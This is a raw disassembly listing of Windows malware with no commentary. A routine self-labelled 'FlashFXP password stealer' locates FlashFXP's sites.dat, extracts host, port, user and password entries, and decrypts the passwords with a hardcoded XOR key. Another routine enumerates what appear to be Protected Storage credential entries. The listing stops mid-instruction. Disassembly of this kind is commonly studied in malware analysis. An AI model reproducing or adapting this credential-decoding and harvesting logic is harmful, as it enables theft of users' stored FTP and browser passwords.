sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D3B8 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D3B0 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D384 ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D318 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D2DC lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DF50 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D648 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D614 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D610 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D648 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D648 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: BrattyUS:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D648 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DF00 lea eax, [ebp-7FCh] push eax call dword_4170FC ; lstrcpy push offset byte_41DF00 lea eax, [ebp-0DF0h] push eax call dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D5C0 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DF00 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D55C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr 